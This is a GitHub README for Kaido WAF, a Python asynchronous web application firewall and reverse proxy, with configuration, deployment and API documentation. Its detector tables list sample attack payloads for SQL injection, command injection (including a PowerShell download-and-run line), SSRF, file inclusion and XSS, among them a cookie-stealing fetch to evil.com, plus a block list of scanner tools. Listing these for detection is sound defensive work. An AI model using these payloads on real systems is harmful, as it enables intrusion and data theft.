zlostc/kaido-waf

GitHub: zlostc/kaido-waf

一款高性能的异步 Web 应用防火墙反向代理,通过内置的多类别攻击检测引擎和请求限流机制保护后端服务安全。

Stars: 0 | Forks: 0

⚔️ Kaido WAF

Web Application Firewall de alto desempenho

SobreArquiteturaFeaturesInstalaçãoConfiguraçãoModosDetectoresEstruturaDashboardAPIDeployExemplosSegurançaFAQCréditos

Version Python License WAF Status

## 🔥 关于 **Kaido WAF** 是一款由 **Gustavo** 开发的高性能 Web Application Firewall,旨在保护 Web 应用程序免受当前环境中常见及高级的网络攻击。 它作为**异步反向代理**运行于客户端和后端之间,通过具备**10 种不同类别**、涵盖**超过 150 种攻击模式**的高性能检测引擎,**实时检测每一项请求**。 ### 🚨 安全警告 — 生产环境使用前必读 ``` # 🔴 在投入生产环境之前删除此项! dashboard: password: "CHANGE_ME_IN_PRODUCTION" # ← TROQUE ISSO session_secret: "CHANGE_ME_IN_PRODUCTION" # ← TROQUE ISSO ``` **为什么这很重要?** - Dashboard 的默认密码是公开的(就在本 README 中) - 默认的 `session_secret` 允许伪造 admin 会话 - Redis 默认没有密码(请在 docker-compose 中使用 `REDIS_PASSWORD`) **生产环境安全检查清单:** - [ ] 修改 `dashboard.password` - [ ] 修改 `dashboard.session_secret` - [ ] 在 Redis 中配置 `REDIS_PASSWORD` - [ ] 审查 `ip_blocking.whitelist` - [ ] 如果不需要,在公网暴露环境中禁用 Dashboard - [ ] 使用 HTTPS(前置部署 Nginx/Cloudflare) - [ ] 以非 root 用户运行(Docker 已默认执行此操作) ### 为什么选择 Kaido WAF? | 特性 | Kaido WAF | ModSecurity | Cloudflare WAF | |---------------|-----------|-------------|----------------| | **性能** | 异步 (aiohttp) | 同步 (Nginx module) | CDN-based | | **检测器** | 10 个类别中的 150+ 种模式 | CRS (可自定义规则) | 托管式 | | **Dashboard** | 内置 SSR (零 JS) | 无 | Cloudflare 面板 | | **Rate Limiting** | 滑动窗口 + Redis | Limit req module | 是 | | **IP Blocker** | 白名单/黑名单/自动 | 是 | 是 | | **Docker** | 原生支持 | 支持有限 | N/A | | **许可证** | MIT (免费) | Apache 2.0 | 付费 | | **成本** | **零** | 免费 | $$ | ## 🏗️ 架构 ``` ┌─────────────┐ ┌──────────────────────────────────────────────┐ ┌─────────────┐ │ │ │ KAIDO WAF │ │ │ │ Cliente │────▶│ ┌─────────┐ ┌──────────┐ ┌───────────┐ │────▶│ Backend │ │ (Browser/ │ │ │ Proxy │──│Detection │──│ Rate │ │ │ (Upstream) │ │ API) │ │ │ Reverso │ │ Engine │ │ Limiter │ │ │ │ │ │ │ └─────────┘ └──────────┘ └───────────┘ │ └─────────────┘ └─────────────┘ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────┐ ┌──────────┐ ┌───────────┐ │ │ │ IP │ │ Log │ │Dashboard │ │ │ │ Blocker │ │ Sistema │ │ SSR │ │ │ └─────────┘ └──────────┘ └───────────┘ │ └──────────────────────────────────────────────┘ │ ┌─────────────────┼─────────────────┐ ▼ ▼ ▼ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ PG │ │ Redis │ │ Discord │ │ (Memory) │ │ (Cache) │ │ (Webhook)│ └──────────┘ └──────────┘ └──────────┘ ``` ### 请求流程: ``` 1. Cliente envia requisição → WAF (porta 8080) 2. IP Blocker → Verifica whitelist/blacklist/auto-block 3. Rate Limiter → Verifica sliding window (memória ou Redis) 4. Detection Engine → 10 detectores em paralelo no path, query, body, headers, cookies 5. Ataque detectado? ├── SIM → Modo BLOCK: HTTP 403 + JSON + headers │ Modo DETECT: loga + encaminha │ Modo LOG: loga tudo + encaminha └── NÃO → Proxy reverso encaminha para upstream 6. Upstream responde → WAF faz streaming da resposta ao cliente ``` ## 🚀 功能 ### 🔒 安全 | 功能 | 详情 | |---------|----------| | **10 种检测器** | SQLi, XSS, Path Traversal, CMDi, SSRF, LFI/RFI, NoSQL, Cookie Poisoning, Open Redirect, Scanner Detection | | **150+ 种模式** | 真实的攻击特征,编译为优化的 regex | | **3 种模式** | Block (拦截), Detect (仅告警), Log (全面审计) | | **Rate Limiting** | 基于单个 IP 的滑动窗口,突发控制,渐进式超时 | | **IP Blocker** | 白名单,CIDR 黑名单,基于违规的自动封禁(按严重程度赋予权重) | | **自定义拦截** | 状态码,消息,headers,JSON 格式响应 | ### ⚡ 性能 | 功能 | 详情 | |---------|----------| | **异步代理** | aiohttp — 可同时处理数百个并发请求且不阻塞 | | **流式传输** | 支持大响应的 Chunked transfer encoding | | **可配置缓冲区** | 可调整的流式传输缓冲区大小 | | **可调整超时** | 单个请求的超时限制,body size 限制 | | **Redis 后端** | 为多实例提供分布式的 Rate Limiting | ### 📊 管理 | 功能 | 详情 | |---------|----------| | **SSR Dashboard** | 使用 Jinja2 进行服务端渲染 — 零 JavaScript | | **受保护的登录** | 基于 session 的身份验证,使用 HttpOnly cookie | | **JSON 日志** | JSON 格式的结构化日志,自动轮转 | | **Discord Webhook** | 向 Discord 发送安全告警 (WARNING+) | | **Health Check** | 提供用于监控的 `/__health` endpoint | | **统计信息** | 提供包含 WAF 指标的 `/__stats` endpoint | ### 🐳 部署 | 功能 | 详情 | |---------|----------| | **原生 Docker** | 优化的 Dockerfile (Python 3.13-slim) | | **Docker Compose** | 通过 3 个服务启动 WAF + Redis + 后端 | | **非 Root** | 以 `kaido` 用户 (非 root) 身份运行 | | **Healthcheck** | 集成 Docker healthcheck | | **滚动日志** | 带有备份的日志轮转 | ## 📦 安装 ### 前置条件 - Python 3.11+ - pip - Redis (可选,用于分布式 Rate Limiting) ### 通过 pip 安装 (本地) ``` # Clone git clone https://github.com/zlostc/kaido-waf.git cd kaido-waf # 安装依赖 pip install -r requirements.txt # 配置(可选 — 编辑 config.yaml) # vim config.yaml # 运行 python3 -m kaido_waf.main # 或通过 Makefile make run ``` ### 通过 Docker 安装 ``` # Build docker build -t kaido-waf . # Run docker run -d \ --name kaido-waf \ -p 8080:8080 \ -p 9090:9090 \ -v $(pwd)/config.yaml:/etc/kaido-waf/config.yaml \ -v kaido_logs:/var/log/kaido-waf \ kaido-waf ``` ### 通过 Docker Compose 安装 (推荐) ``` docker-compose -f examples/docker-compose.yml up -d ``` 这将会启动: - `kaido-waf` — 端口 8080 上的 WAF,以及端口 9090 上的 Dashboard - `redis` — 用于 Rate Limiting 的缓存 - `backend` — 端口 3000 上的 Nginx 示例 ### 通过 Makefile ``` make install # Instala dependências make run # Executa o WAF make docker-build # Build Docker make docker-run # Run Docker make docker-compose-up # Docker Compose make docker-compose-down # Parar Docker Compose make clean # Limpar cache ``` ## ⚙️ 配置 配置通过 YAML 进行。默认情况下,WAF 会在根目录寻找 `config.yaml`,或者你也可以通过环境变量 `KAIDO_WAF_CONFIG` 来指定。 ### 完整配置: ``` # ⚔️ Kaido WAF — 配置 # 高性能 Web Application Firewall # 由 Gustavo 创建 server: host: "0.0.0.0" # Interface de rede port: 8080 # Porta do WAF workers: 4 # Workers (reservado) upstream: "http://127.0.0.1:3000" # Backend a proteger timeout: 30 # Timeout em segundos buffer_size: 8192 # Tamanho do buffer de streaming (bytes) max_body_size: 10485760 # Tamanho máximo do body (10MB) waf: enabled: true # Liga/desliga o WAF mode: "block" # block | detect | log block_status_code: 403 # HTTP status code de bloqueio block_message: "Blocked by Kaido WAF — Attack detected" detection: sql_injection: true # SQL Injection xss: true # Cross-Site Scripting path_traversal: true # Path Traversal command_injection: true # Command Injection ssrf: true # Server-Side Request Forgery lfi_rfi: true # Local/Remote File Inclusion nosql_injection: true # NoSQL Injection cookie_poisoning: true # Cookie Poisoning open_redirect: true # Open Redirect scanner_detection: true # Scanner/Ferramentas de ataque rate_limiting: enabled: true # Liga/desliga rate limiting backend: "memory" # memory | redis redis_url: "redis://localhost:6379/0" requests_per_minute: 60 # Máx requisições por minuto por IP burst_size: 100 # Máx requisições em 1 segundo block_duration: 300 # Tempo de bloqueio após exceder (segundos) ip_blocking: enabled: true # Liga/desliga IP blocker whitelist: # IPs sempre permitidos - "127.0.0.1" - "::1" blacklist: [] # IPs sempre bloqueados auto_block_threshold: 10 # Ofensas antes de auto-bloquear auto_block_duration: 3600 # Duração do auto-bloqueio (segundos, 1h) logging: level: "INFO" # DEBUG | INFO | WARNING | ERROR | CRITICAL format: "json" # json | text file: "/var/log/kaido-waf/access.log" discord_webhook: "" # URL do webhook do Discord dashboard: enabled: true # Liga/desliga dashboard port: 9090 # Porta do dashboard auth_enabled: true # Exige login username: "admin" # Usuário do dashboard password: "CHANGE_ME_IN_PRODUCTION" # 🔴 MUDE ANTES DE USAR EM PRODUÇÃO! session_secret: "CHANGE_ME_IN_PRODUCTION" # 🔴 MUDE ANTES DE USAR EM PRODUÇÃO! ``` ### 环境变量: | 变量 | 描述 | 默认值 | |----------|-----------|--------| | `KAIDO_WAF_CONFIG` | 配置文件的路径 | `./config.yaml` | ## 🎯 操作模式 | 模式 | 描述 | 用途 | |------|-----------|-----| | **block** 🛡️ | 拦截恶意请求并返回 HTTP 403 | 生产环境 | | **detect** 👁️ | 仅检测并记录攻击,不进行拦截 | 预发布/测试 | | **log** 📝 | 记录所有内容(包括合法请求) | 审计/调试 | **在生产环境中切换模式的示例:** ``` waf: mode: "block" # Mude para "detect" se quiser apenas monitorar ``` ## 🧠 检测器 检测引擎拥有 **10 个分类**,包含**超过 150 种被编译为优化正则表达式的模式**。每个检测器都可以在 `config.yaml` 中单独开启或关闭。 ### 1. SQL Injection (`sql_injection`) 🔠 **20+ 种模式** — 检测主要的 SQL 注入技术: | 模式 | 严重程度 | 示例 | |--------|-----------|---------| | `UNION SELECT` | high | `' UNION SELECT * FROM users--` | | `DROP TABLE` | critical | `'; DROP TABLE users--` | | `EXEC xp_` | critical | `'; EXEC xp_cmdshell('dir')--` | | `WAITFOR DELAY` | critical | `'; WAITFOR DELAY '0:0:5'--` | | `BENCHMARK()` | critical | `' OR BENCHMARK(5000000,MD5('x'))--` | | `OR 1=1` | high | `' OR '1'='1'--` | | `AND 1=1` | high | `' AND '1'='1'--` | | `pg_sleep()` | critical | `'; SELECT pg_sleep(5)--` | | `information_schema` | medium | `' UNION SELECT * FROM information_schema.tables--` | | `@@version` | medium | `' UNION SELECT @@version--` | | `LOAD_FILE()` | critical | `' UNION SELECT LOAD_FILE('/etc/passwd')--` | | `INTO OUTFILE` | critical | `' INTO OUTFILE '/tmp/shell.php'--` | | `0xHEX` | medium | `0x7573657273` | | `SLEEP()` | medium | `' OR SLEEP(5)#` | | `DECLARE @` | medium | `; DECLARE @a VARCHAR(100)--` | ### 2. XSS — Cross-Site Scripting (`xss`) 🎯 **30+ 种模式** — 检测反射型、存储型和基于 DOM 的 XSS: | 模式 | 严重程度 | 示例 | |--------|-----------|---------| | `` | | `onload=` | high | `` | | `onerror=` | high | `` | | `onclick=` | high | `
` | | `onmouseover=` | high | `` | | `onfocus=` | high | `` | | `onchange=` | medium | `` | | `javascript:` | high | `` | | `alert()` | high | `?q=` | | `confirm()` | high | `?q=` | | `prompt()` | high | `?q=` | | `document.cookie` | high | `?q=` | | `eval()` | critical | `?q=` | | `fromCharCode` | high | `String.fromCharCode(97,108,101,114,116)` | | `data:text/html` | critical | `data:text/html;base64,...` | | `` | critical | `` | | `fetch()` | medium | `fetch('https://evil.com/steal?c='+document.cookie)` | ### 3. Path Traversal (`path_traversal`) 📂 **10+ 种模式** — 检测目录遍历尝试: | 模式 | 严重程度 | 示例 | |--------|-----------|---------| | `../../../` | high | `../../../etc/passwd` | | `..%2f` | high | `..%2f..%2f..%2fetc/passwd` | | `..%5c` | high | `..%5c..%5c..%5cwindows\system32` | | `%2e%2e%2f` | high | `%2e%2e%2f%2e%2e%2fetc/passwd` | | `..%252f` | medium | `..%252f..%252f..%252fetc/passwd` (双重编码) | ### 4. Command Injection (`command_injection`) 💻 **18+ 种模式** — 检测服务器上的命令注入: | 模式 | 严重程度 | 示例 | |--------|-----------|---------| | `; id` | critical | `; id` | | `| whoami` | critical | `| whoami` | | `` `ls` `` | critical | `` `ls` `` | | `$(cat /etc/passwd)` | critical | `$(cat /etc/passwd)` | | `&& whoami` | critical | `&& whoami` | | `system()` | high | `system('id')` | | `exec()` | high | `exec('whoami')` | | `shell_exec()` | high | `shell_exec('ls')` | | `passthru()` | high | `passthru('id')` | | `eval()` | critical | `eval('phpinfo()')` | | Base64 解码 | medium | `base64_decode('aWQ=')` | | PowerShell -EncodedCommand | critical | `powershell -EncodedCommand SQBkAA==` | | Invoke-Expression | critical | `iex(New-Object Net.WebClient).DownloadString(...)` | ### 5. SSRF — Server-Side Request Forgery (`ssrf`) 🌐 **14+ 种模式** — 检测访问内部资源的尝试: | 模式 | 严重程度 | 示例 | |--------|-----------|---------| | `169.254.169.254` | critical | AWS/GCP/Azure 的云元数据 | | `127.0.0.1` | medium | `http://127.0.0.1:8080/admin` | | `localhost` | medium | `http://localhost:9200` | | `10.x.x.x` | medium | `http://10.0.0.1:6379` | | `172.16-31.x.x` | medium | `http://172.16.0.1:5432` | | `192.168.x.x` | medium | `http://192.168.1.1:80` | | `file://` | high | `file:///etc/passwd` | `gopher://` | high | `gopher://localhost:6379/_*2%0d%0a...` | | `dict://` | medium | `dict://localhost:6379/info` | ### 6. LFI/RFI — 本地/远程文件包含 (`lfi_rfi`) 📄 **12+ 种模式** — 检测本地和远程文件包含: | 模式 | 严重程度 | 示例 | |--------|-----------|---------| | `/etc/passwd` | critical | `?file=/etc/passwd` | | `/etc/shadow` | critical | `?file=/etc/shadow` | | `/proc/self/environ` | critical | `?file=/proc/self/environ` | | `php://filter` | critical | `?file=php://filter/convert.base64-encode/resource=index.php` | | `php://input` | high | `?file=php://input` (配合 POST) | | `data://text/plain;base64` | critical | `?file=data://text/plain;base64,...` | | `expect://` | high | `?file=expect://id` | ### 7. NoSQL Injection (`nosql_injection`) 🍃 **8+ 种模式** — 检测 NoSQL 数据库 (MongoDB) 中的注入: | 模式 | 严重程度 | 示例 | |--------|-----------|---------| | `$gt` | critical | `{"$gt": ""}` | | `$ne` | critical | `{"$ne": ""}` | | `$regex` | critical | `{"$regex": ".*"}` | | `$where` | critical | `{"$where": "sleep(5000)"}` | | `'||'1'=='1` | high | `username=admin'||'1'=='1` | ### 8. Cookie Poisoning (`cookie_poisoning`) 🍪 **7+ 种模式** — 检测恶意的 Cookie 篡改: | 模式 | 严重程度 | 示例 | |--------|-----------|---------| | `admin=true` | high | Cookie: `admin=true` | | `is_admin=1` | high | Cookie: `is_admin=1` | | `debug=true` | medium | Cookie: `debug=true` | | `role=admin` | high | Cookie: `role=admin` | ### 9. Open Redirect (`open_redirect`) 🔀 **7+ 种模式** — 检测开放重定向: | 模式 | 严重程度 | 示例 | |--------|-----------|---------| | `next=http://` | medium | `?next=http://evil.com` | | `redirect=http://` | medium | `?redirect=http://evil.com` | | `url=http://` | medium | `?url=http://evil.com` | | `//evil.com@` | high | `//evil.com@real.com` | | 恶意域名 | medium | `.ru`, `.cn`, `.tk`, `.ml`, `.ga`, `.cf` | ### 10. Scanner Detection (`scanner_detection`) 🔍 **18+ 种模式** — 检测安全/攻击工具: | 工具 | 严重程度 | User-Agent/特征 | |------------|-----------|--------------------------| | SQLMap | medium | `sqlmap` | | Nmap | low | `nmap` | | Nikto | low | `nikto` | | Gobuster | low | `gobuster` | | Dirb | low | `dirb` | | Wfuzz | low | `wfuzz` | | BurpSuite | low | `burpsuite` | | Acunetix | medium | `acunetix` | | Nessus | medium | `nessus` | | OpenVAS | medium | `openvas` | | Metasploit | medium | `metasploit` | | Curl | low | `curl` | | Wget | low | `wget` | | Python-requests | low | `python-requests` | | Go-http-client | low | `go-http-client` | ## 📁 项目结构 ``` kaido-waf/ ├── README.md # Documentação principal ├── LICENSE # MIT License ├── setup.py # Pacote Python ├── requirements.txt # Dependências ├── Makefile # Comandos utilitários ├── Dockerfile # Imagem Docker ├── config.yaml # Configuração principal │ ├── kaido_waf/ # Pacote principal │ ├── __init__.py # Versão e exportações │ │ │ ├── main.py # Servidor principal (KaidoWAF class) │ │ ├── KaidoWAF.start() # Inicia WAF + Dashboard │ │ ├── KaidoWAF.stop() # Para tudo gracefulmente │ │ ├── _handle_request() # Handler principal (IP Block → Rate Limit → Detection → Proxy) │ │ ├── _block_response() # Gera resposta de bloqueio │ │ └── health/stats endpoints │ │ │ ├── config/ │ │ ├── __init__.py │ │ └── settings.py # Config (carga YAML, defaults, propriedades) │ │ ├── Config._load() # Carrega YAML + merge defaults │ │ ├── Config._defaults() # Configuração padrão completa │ │ ├── Config.waf_mode # block | detect | log │ │ ├── Config.enabled_detectors # Lista detectores ativos │ │ └── +30 properties # Acesso tipado a todas configs │ │ │ ├── engine/ # 🧠 Motor de detecção │ │ ├── __init__.py │ │ └── detector.py # DetectionEngine + 150 padrões │ │ ├── AttackType enum # 10 tipos de ataque │ │ ├── Finding dataclass # Resultado de detecção │ │ ├── DetectionEngine.__init__ # Compila todas as regex │ │ ├── inspect_query() # Inspeciona query string │ │ ├── inspect_body() # Inspeciona corpo POST │ │ ├── inspect_path() # Inspeciona caminho URL │ │ ├── inspect_headers() # Inspeciona cabeçalhos │ │ ├── inspect_cookies() # Inspeciona cookies │ │ └── inspect_all() # Inspeciona TUDO de uma vez │ │ │ ├── proxy/ # 🔄 Proxy reverso │ │ ├── __init__.py │ │ └── reverse_proxy.py # ReverseProxy assíncrono │ │ ├── ReverseProxy.start/stop # Gerencia sessão aiohttp │ │ ├── forward_request() # Encaminha requisição ao upstream │ │ ├── stream_response() # Streaming chunked │ │ └── build_response_headers() # Remove hop-by-hop headers │ │ │ ├── middleware/ # ⚡ Middleware │ │ ├── __init__.py │ │ ├── rate_limiter.py # RateLimiter com sliding window │ │ │ ├── MemoryBackend # Em memória (asyncio.Lock) │ │ │ ├── RedisBackend # Redis (ZSET sliding window) │ │ │ ├── RateLimiter.check() # Verifica rate limit │ │ │ ├── RateLimiter.block_ip() # Bloqueia IP manualmente │ │ │ └── RateLimiter.unblock_ip() │ │ │ │ │ ├── ip_blocker.py # IPBlocker com 3 níveis │ │ │ ├── IPBlocker.check() # Whitelist > Blacklist > Auto-block │ │ │ ├── IPBlocker.report_offense() # Registra ofensa com peso │ │ │ └── IPBlocker.is_whitelisted() # Verifica whitelist │ │ │ │ │ └── request_parser.py # Utilitários HTTP │ │ ├── get_client_ip() # Extrai IP real (X-Forwarded-For, CF, etc) │ │ ├── normalize_path() # Normaliza URL │ │ └── decode_body() # Decodifica body │ │ │ ├── dashboard/ # 📊 Dashboard SSR │ │ ├── __init__.py │ │ ├── server.py # DashboardServer (aiohttp + Jinja2) │ │ │ ├── _check_auth() # Autenticação por sessão │ │ │ ├── _render() # Renderiza templates Jinja2 │ │ │ ├── _login_page() # Página de login │ │ │ ├── _dashboard_page() # Dashboard principal │ │ │ └── _api_stats() # API de estatísticas │ │ │ │ │ └── templates/ # Templates Jinja2 (zero JS) │ │ ├── login.html # Tela de login estilizada │ │ └── dashboard.html # Dashboard completo │ │ │ └── utils/ # 🔧 Utilitários │ ├── __init__.py │ └── logger.py # Sistema de logging │ ├── JSONFormatter # Formatação JSON estruturada │ ├── DiscordWebhookHandler # Webhook Discord para alertas │ └── setup_logger() # Configura logging completo │ └── examples/ └── docker-compose.yml # Exemplo Docker Compose ``` ## 📊 Dashboard Kaido WAF 包含一个 **SSR Dashboard(服务端渲染)**,其运行**不依赖于 JavaScript** — 非常适合受限或安全要求极高的环境。 ### 访问 ``` http://seu-servidor:9090/dashboard ``` ### 功能 - **受保护的登录** — 基于 session 的身份验证,使用 HttpOnly cookie - **WAF 状态** — 在线/离线,当前模式,版本 - **激活的检测器** — 10 个检测器的可视化列表 - **配置** — upstream, rate limit, 模式 - **零 JavaScript** — 100% 在服务器上通过 Jinja2 渲染 - **响应式设计** — 也可在移动端正常运行 ### Dashboard 配置 ``` dashboard: enabled: true port: 9090 auth_enabled: true username: "admin" password: "CHANGE_ME_IN_PRODUCTION" # 🔴 MUDE ANTES DE USAR EM PRODUÇÃO! session_secret: "CHANGE_ME_IN_PRODUCTION" # 🔴 MUDE ANTES DE USAR EM PRODUÇÃO! ``` ## 📡 API ### WAF Endpoints (端口 8080) | 方法 | Endpoint | 描述 | |--------|----------|-----------| | `*` | `/{path}` | 反向代理(任意请求) | | `GET` | `/__health` | Health check | | `GET` | `/__stats` | WAF 统计信息 | ### Health Check ``` curl http://localhost:8080/__health ``` 响应: ``` { "status": "ok", "version": "2.1.0", "uptime": "TODO", "mode": "block", "detectors": ["sql_injection", "xss", "path_traversal", "command_injection", "ssrf", "lfi_rfi", "nosql_injection", "cookie_poisoning", "open_redirect", "scanner_detection"] } ``` ### 统计信息 ``` curl http://localhost:8080/__stats ``` 响应: ``` { "version": "2.1.0", "waf_mode": "block", "upstream": "http://127.0.0.1:3000", "detectors": ["sql_injection", "xss", ...], "rate_limiting": { "enabled": true, "rpm": 60 } } ``` ### Dashboard Endpoints (端口 9090) | 方法 | Endpoint | 描述 | |--------|----------|-----------| | `GET` | `/` | 重定向至 `/dashboard` | | `GET` | `/login` | 登录页面 | | `POST` | `/login` | 身份验证 | | `GET` | `/dashboard` | 主 Dashboard | | `GET` | `/api/dashboard/stats` | 统计信息 API | ### 拦截响应 当请求被拦截时,WAF 返回: ``` HTTP 403 Blocked by Kaido WAF X-Kaido-WAF: blocked X-Kaido-Block-Reason: Attack detected: sql_injection { "error": "blocked_by_kaido_waf", "message": "Blocked by Kaido WAF — Attack detected", "reason": "Attack detected: sql_injection", "client_ip": "192.168.1.100", "findings": [ { "attack_type": "sql_injection", "severity": "critical", "matched": "UNION SELECT * FROM", "location": "query", "value": "id=1 UNION SELECT * FROM users--", "timestamp": 1712345678.123 } ] } ``` ### 超出 Rate Limit ``` HTTP 429 Too Many Requests Retry-After: 45 { "error": "rate_limit_exceeded", "retry_after": 45 } ``` ## 🐳 部署 ### 使用 Docker Compose + Redis + Nginx 部署生产环境 ``` # docker-compose.yml version: "3.8" services: kaido-waf: build: . container_name: kaido-waf restart: unless-stopped ports: - "8080:8080" # WAF proxy - "9090:9090" # Dashboard environment: - KAIDO_WAF_CONFIG=/etc/kaido-waf/config.yaml volumes: - ./config.prod.yaml:/etc/kaido-waf/config.yaml - kaido_logs:/var/log/kaido-waf depends_on: - redis logging: driver: "json-file" options: max-size: "10m" max-file: "3" redis: image: redis:7-alpine container_name: kaido-redis restart: unless-stopped ports: - "127.0.0.1:6379:6379" # Apenas localhost volumes: - redis_data:/data command: redis-server --appendonly yes --requirepass ${REDIS_PASSWORD} logging: driver: "json-file" options: max-size: "10m" max-file: "3" volumes: redis_data: kaido_logs: ``` ### Nginx 作为反向代理(推荐) ``` # /etc/nginx/sites-available/meu-site upstream kaido_waf { server 127.0.0.1:8080; keepalive 64; } server { listen 443 ssl http2; server_name meu-site.com; ssl_certificate /etc/letsencrypt/live/meu-site.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/meu-site.com/privkey.pem; # Logs access_log /var/log/nginx/meu-site-access.log; error_log /var/log/nginx/meu-site-error.log; # Segurança add_header X-Frame-Options "SAMEORIGIN" always; add_header X-Content-Type-Options "nosniff" always; add_header X-XSS-Protection "1; mode=block" always; location / { proxy_pass http://kaido_waf; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_read_timeout 60s; } location /dashboard { proxy_pass http://127.0.0.1:9090; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } # Health check interno (não exposto externamente) location /__health { access_log off; proxy_pass http://127.0.0.1:8080/__health; } } ``` ### Systemd 服务 ``` # /etc/systemd/system/kaido-waf.service [Unit] Description=Kaido WAF — Web Application Firewall After=network.target postgresql.service redis-server.service Wants=postgresql.service redis-server.service [Service] Type=simple User=kaido Group=kaido WorkingDirectory=/opt/kaido-waf Environment=KAIDO_WAF_CONFIG=/etc/kaido-waf/config.yaml ExecStart=/usr/bin/python3 -m kaido_waf.main Restart=always RestartSec=5 StandardOutput=journal StandardError=journal # Security hardening NoNewPrivileges=true ProtectSystem=full ProtectHome=true PrivateTmp=true MemoryMax=512M [Install] WantedBy=multi-user.target ``` ## 💡 示例 ### 示例 1:拦截 SQL Injection ``` # 正常请求 — 放行 curl -v "http://localhost:8080/produtos?id=1" # 恶意请求 — 已拦截 curl -v "http://localhost:8080/produtos?id=1' UNION SELECT * FROM users--" ``` 响应: ``` < HTTP/1.1 403 Blocked by Kaido WAF < X-Kaido-WAF: blocked < X-Kaido-Block-Reason: Attack detected: sql_injection ``` ### 示例 2:Rate Limiting ``` # 1分钟内60个请求放行 for i in $(seq 1 60); do curl -s -o /dev/null -w "%{http_code} " "http://localhost:8080/api" done # 第61个 — 已拦截 curl -s -o /dev/null -w "%{http_code}" "http://localhost:8080/api" # 结果:429 ``` ### 示例 3:Detect 模式(仅记录日志) ``` waf: mode: "detect" # Não bloqueia, apenas loga ``` ``` curl "http://localhost:8080/search?q=" # 请求放行,但被记录为 XSS 攻击 ``` ### 示例 4:带自动封禁的 IP Blocker ``` ip_blocking: auto_block_threshold: 5 # Após 5 ofensas auto_block_duration: 3600 # Bloqueia por 1 hora ``` 在检测到来自同一 IP 的 5 次攻击后,该 IP 将被自动封禁 1 小时。 ### 示例 5:自定义拦截响应 ``` waf: block_status_code: 403 block_message: "Acesso negado pelo Kaido WAF — Entre em contato com o administrador" ``` ## 🔒 WAF 自身安全 Kaido WAF 从架构设计之初就充分考虑了安全性: ### Docker - 以 **non-root user** (`kaido`) 身份运行 - 基础镜像为 **Python 3.13-slim**(最小化攻击面) - 集成 **Healthcheck** ### 系统 - **NoNewPrivileges** — 不提升权限 - **ProtectSystem=full** — 只读文件系统 - **PrivateTmp** — 隔离的 /tmp - **MemoryMax** — 可配置的内存限制 ### 代码 - 在所有入口点进行**输入验证** - **无 eval/exec** — 零动态代码执行 - **最小化依赖** — 仅包含 4 个 Python 包 - **安全的 Async** — 无竞态条件 (asyncio.Lock) ### 网络 - **显式端口** — 仅开放 8080 和 9090 - **Redis 绑定 localhost** — 不对外暴露 - **安全 Headers** — 所有响应均带有 X-Kaido-WAF ## ❓ 常见问题 ### Kaido WAF 支持 HTTPS 吗? 支持!在 WAF 前端部署 Nginx 或 Cloudflare 来进行 SSL termination。WAF 内部可以通过 HTTP 运行。 ### 对性能有什么影响? 极小。WAF 是异步的 (aiohttp) 并能并行处理请求。在 `detect` 或 `log` 模式下,开销更小,因为它不会进行拦截。预估:每个请求**增加 < 5ms 的延迟**。 ### 我可以将其用于 WebSockets 吗? 反向代理支持连接升级 (WebSocket),但检测仅应用于初始的升级请求。 ### 如何备份配置? WAF 是无状态的 — 所有配置都在 `config.yaml` 中。如有必要,请备份该文件及日志。 ### Kaido WAF 能取代生产级的 WAF 吗? 对于高风险环境,建议将 Kaido WAF **结合**边缘 WAF(Cloudflare, AWS WAF)以及 IDS/IPS(Snort, Suricata)一起使用。Kaido WAF 是一个额外的防护层。 ### 我需要 Redis 吗? 不需要。Redis 是可选的,仅用于分布式的 Rate Limiting。在没有 Redis 的情况下,Rate Limiting 在内存中运行(重启后数据会丢失)。 ### 如何做贡献? Fork 本项目,实现你的功能,然后发起 Pull Request。欢迎提交任何新的检测器! ## 👑 致谢 **Kaido WAF** 由 **Gustavo** 创建、开发并维护。 **联系方式:** - GitHub: [@zlostc](https://github.com/zlostc) ### 特别感谢 - 巴西安全社区 - aiohttp, Jinja2 和 PyYAML 的开发者 ## 📄 许可证 **MIT License** — Copyright (c) 2026 **Gustavo** 特此免费授予任何获得本软件及相关文档文件(“软件”)副本的人,不受限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再授权和/或出售本软件副本的权利。 有关完整详情,请查看 [LICENSE](LICENSE) 文件。

⚔️ Kaido WAF — 每次请求,守护您的应用。
巴西 • 2026

🐙 GitHub

在巴西用 💗 制作 — 因为安全绝非儿戏,而我们对此极其认真。

标签:AppImage, CISA项目, DOE合作, Python, WAF, Web应用防火墙, 反向代理, 搜索引擎查询, 无后门, 网络安全, 请求拦截, 逆向工具, 隐私保护